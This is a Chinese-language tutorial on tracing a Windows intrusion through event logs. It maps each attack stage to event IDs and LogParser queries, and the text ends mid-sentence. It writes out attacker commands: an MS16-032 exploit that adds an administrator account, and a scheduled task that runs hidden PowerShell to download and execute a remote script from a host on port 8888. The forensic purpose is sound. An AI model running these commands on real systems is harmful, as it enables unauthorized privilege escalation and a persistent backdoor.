有小伙伴問:網絡上大部分windows系統日志分析都只是對惡意登錄事件分析的案例,可以通過系統日志找到其他入侵痕跡嗎?
答案肯定是可以的,當攻擊者獲取webshell后,會通過各種方式來執行系統命令。所有的web攻擊行為會存留在web訪問日志里,而執行操作系統命令的行為也會存在在系統日志。不同的攻擊場景會產生不一樣的系統日志,不同的Event ID代表了不同的意義,需要重點關注一些事件ID,分析入侵者在系統中留下的攻擊痕跡。
我們通過一個攻擊案例來進行windows日志分析,從日志里識別出攻擊場景,發現惡意程序執行痕跡,甚至還原攻擊者的行為軌跡。
1、信息收集
攻擊者在獲取webshell權限后,會嘗試查詢當前用戶權限,收集系統版本和補丁信息,用來輔助權限提升。
whoami
systeminfo
Windows日志分析:
在本地安全策略中,需開啟審核進程跟蹤,可以跟蹤進程創建/終止。關鍵進程跟蹤事件和說明,如:
4688 創建新進程 4689 進程終止
我們通過LogParser做一個簡單的篩選,得到Event ID 4688,也就是創建新進程的列表,可以發現用戶Bypass,先后調用cmd執行whami和systeminfo。Conhost.exe進程主要是為命令行程序(cmd.exe)提供圖形子系統等功能支持。
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\11.evtx" LogParser.exe -i:EVT "SELECT TimeGenerated,EventID,EXTRACT_TOKEN(Strings,1,'|') as UserName,EXTRACT_TOKEN(Strings,5,'|') as ProcessName FROM c:\11.evtx where EventID=4688"
2、權限提升
通過執行exp來提升權限,獲取操作系統system權限,增加管理用戶。
ms16-032.exe "whoami" ms16-032.exe "net user test1 abc123! /add" ms16-032.exe "net localgroup Administrators test1 /add"
Windows日志分析:
在本地安全策略中,需開啟審核賬戶管理,關鍵賬戶管理事件和說明。如:
4720 創建用戶 4732 已將成員添加到啟用安全性的本地組
這里會涉及進程創建,主要關注賬戶創建和管理用戶組變更。從Event ID 4720 ,系統新建了一個test用戶,從Event ID 4732的兩條記錄變化,得到一個關鍵信息,本地用戶test從user組提升到Administrators。
3、管理賬號登錄
在創建管理賬戶后,嘗試遠程登錄到目標主機,獲取敏感信息。
mstsc /v 10.1.1.188
Windows日志分析:
在本地安全策略中,需開啟審核登錄事件,關鍵登錄事件和說明,如:
4624 登錄成功 4625 登錄失敗
LogParser.exe -i:EVT "SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,8,'|') as EventType,EXTRACT_TOKEN(Strings,5,'|') as username,EXTRACT_TOKEN(Strings,18,'|') as Loginip FROM C:\3333.evtx where EventID=4624"
使用LogParser做一下分析,得到系統登錄時間,登錄類型10 也就是遠程登錄,登錄用戶 test,登錄IP:10.1.1.1。
4、權限維持
通過創建計划任務執行腳本后門,以便下次直接進入,使用以下命令可以一鍵實現:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://10.1.1.1:8888/logo.txt\"\"\"))\""
Windows日志分析:
在本地安全策略中,需開啟審核對象訪問,關鍵對象訪問事件,如:
4698 創建計划任務 4699 刪除計划任務
這里涉及進程創建和對象訪問事件,包括schtasks.exe進程的創建和Event ID 4698發現新建的計划任務。成功找到計划任務后門位置: